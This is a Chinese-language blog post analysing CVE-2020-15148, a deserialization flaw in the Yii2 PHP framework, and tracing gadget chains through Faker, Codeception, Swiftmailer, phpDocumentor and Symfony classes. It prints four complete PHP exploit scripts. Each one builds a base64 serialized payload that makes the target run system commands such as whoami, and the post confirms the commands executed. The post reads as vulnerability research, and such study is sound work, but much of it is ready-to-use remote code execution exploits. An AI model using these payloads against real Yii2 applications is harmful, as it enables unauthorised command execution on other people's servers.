2020-10-08
1.4k
CVE-2020-15148 Yii2 反序列化分析及拓展
漏洞范围
环境安装
这里直接选择去GitHub官方仓库拉取Yii2的源代码:
https://github.com/yiisoft/yii2/releases

下载到本地后解压到web目录,修改config/web.php
文件里cookieValidationKey
的值

再在Controller添加一个反序列化的入口代码:
MacOS下用MAMP搭建PHP调试环境,测试一下:
搭建教程:https://www.sqlsec.com/2020/07/macphp.html

验证成功,开始审计。
漏洞分析
根据现有的资料,反序列化的起点是在yii\db\BatchQueryResult
类中,文件位置/vendor/yiisoft/yii2/db/BatchQueryResult.php
:

__destruct()
函数调用了reset()
方法,reset()
方法中的_dataReader
参数是可控的,并且调用了该参数的close()
函数,那么此处就可以作为跳板,去执行其他类中的__call()
函数,全局查找关键字function __call
:
一共有找到16个__call()
函数,那就一个一个的分析下来,其中Codeception组件中多数是直接抛出异常,没有可利用的地方,但是Faker\Generator
类是可以成为POP链的。具体代码位于:/vendor/fzaninotto/faker/src/Faker/Generator.php
首先__call()
函数中调用了format()
方法:
接着跟下去format()
方法,参数$method
和$attributes
都是不可控的:

在format()
方法内部,使用回调函数call_user_func_array()
调用了getFormatter()
方法。在该方法中,我们只关心第一个if语句,
由于$this->formatter
是我们可控的,所以这里就可以调用任意类中的任意方法了。但是上面提到过,此时$formatter='close'
而$arguments
为空,也就是说call_user_func_array()
这个函数的第一个参数可控,第二个参数为空。说的更透彻一点,要寻找的就是可以实现RCE的任意一个方法,并且参数是类的成员变量!
同样的,这里我们用call_user_func()
去实现RCE,用正则表达式call_user_func(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)\)
去匹配参数的限制,全局搜索:
yii\rest\CreateAction::run()
和yii\rest\IndexAction::run()
都可以实现上述条件下的RCE:

那么整个POP链也就清楚了:
1 2 3 4 5
| yii\db\BatchQueryResult::__destruct() -> Faker\Generator::__call() -> yii\rest\CreateAction::run()
|
编写EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| <?php namespace yii\rest{ class CreateAction{ public $id; public $checkAccess;
public function __construct() { $this->id = 'whoami'; $this->checkAccess = 'system'; } } }
namespace Faker{ use yii\rest\CreateAction;
class Generator{ protected $formatters;
public function __construct() { $this->formatters['close'] = [new CreateAction(), 'run']; } } }
namespace yii\db{ use Faker\Generator;
class BatchQueryResult{ private $_dataReader;
public function __construct() { $this->_dataReader = new Generator(); } } }
namespace { use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult())); }
|
结果:

继续挖掘
新版本的BatchQueryResult
类已经无法反序列化了,那就全局搜索__destruct()
函数,然后一个个的排查。
第一条POP链
触发点位于vendor\codeception\codeception\ext\RunProcess.php
,POP链如下:
1 2 3 4 5
| Codeception\Extension\RunProcess::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()
|
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php namespace yii\rest{ class CreateAction{ public $id; public $checkAccess;
public function __construct() { $this->id = 'whoami'; $this->checkAccess = 'system'; } } }
namespace Faker{ use yii\rest\CreateAction;
class Generator{ protected $formatters;
public function __construct() { $this->formatters['isRunning'] = [new CreateAction(), 'run']; } } }
namespace Codeception\Extension{ use Faker\Generator;
class RunProcess{ private $process;
public function __construct() { $this->process = [new Generator()]; } } }
namespace { echo base64_encode(serialize(new Codeception\Extension\RunProcess())); }
|
第二条POP链
触发点位于vendor\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php
,POP链如下:
1 2 3 4 5 6 7
| Swift\KeyCache\DiskKeyCache::__destruct() -> src\DocBlock\Tags\Deprecated.php::__toString() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()
|
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| <?php namespace yii\rest{ class CreateAction{ public $id; public $checkAccess;
public function __construct() { $this->id = 'ls'; $this->checkAccess = 'system'; } } }
namespace Faker{ use yii\rest\CreateAction;
class Generator{ protected $formatters;
public function __construct() { $this->formatters['render'] = [new CreateAction(), 'run']; } } }
namespace phpDocumentor\Reflection\DocBlock\Tags{ use Faker\Generator;
class Deprecated{ protected $description; public function __construct() { $this->description = new Generator(); } } }
namespace {
use phpDocumentor\Reflection\DocBlock\Tags\Deprecated;
class Swift_KeyCache_DiskKeyCache{ private $path; private $keys;
public function __construct() { $this->path = new Deprecated(); $this->keys = array("just"=>array("for"=>"ca01h")); } } echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache())); }
|
虽然报错,但命令还是成功执行了。

与此类似的POP链还有:
1 2 3 4 5 6 7
| Swift\KeyCache\DiskKeyCache::__destruct() -> src\DocBlock\Tags\See.php::__toString() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()
|
以及
1 2 3 4 5 6 7
| Swift\KeyCache\DiskKeyCache::__destruct() -> src\DocBlock\Description.php::__toString() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()
|
第三条POP链
PHP > 7.1
再来一个从__wakeup
入手的POP链,反序列化起点位于vendor\symfony\string\UnicodeString.php

继续跟normalizer_is_normalized()
函数

跟进静态方法isNormalized()

看到preg_match($s)
,那么``normalizer_is_normalized()就可以作为跳板触发
__toString()`方法,接下来又可以和上面提到的POP链连在一起了。
1 2 3 4 5 6 7
| Symfony\Component\String\UnicodeString::__wakeup() -> phpDocumentor\Reflection\DocBlock\Tags\See::__toString() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()
|
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| <?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id;
public function __construct(){ $this->checkAccess = 'system'; $this->id = 'touch test.txt'; } } }
namespace Faker{ use yii\rest\CreateAction;
class Generator{ protected $formatters;
public function __construct(){ $this->formatters['render'] = [new CreateAction(), 'run']; } } }
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{ protected $description; public function __construct() { $this->description = new Generator(); } } }
namespace Symfony\Component\String{ use phpDocumentor\Reflection\DocBlock\Tags\See; class UnicodeString{ protected $string; public function __construct() { $this->string = new See; } } } namespace{ use Symfony\Component\String\UnicodeString; echo base64_encode(serialize(new UnicodeString())); }
|
有个问题是这个POP利用链回显的时候会报错,不能正常显示。

但是命令是成功执行的:
讲道理,应该还可以接着挖。
参考文章
https://mp.weixin.qq.com/s/Cv2Ax7U1sMtbXCq6YDgkTg
https://xz.aliyun.com/t/8307
https://www.anquanke.com/post/id/217930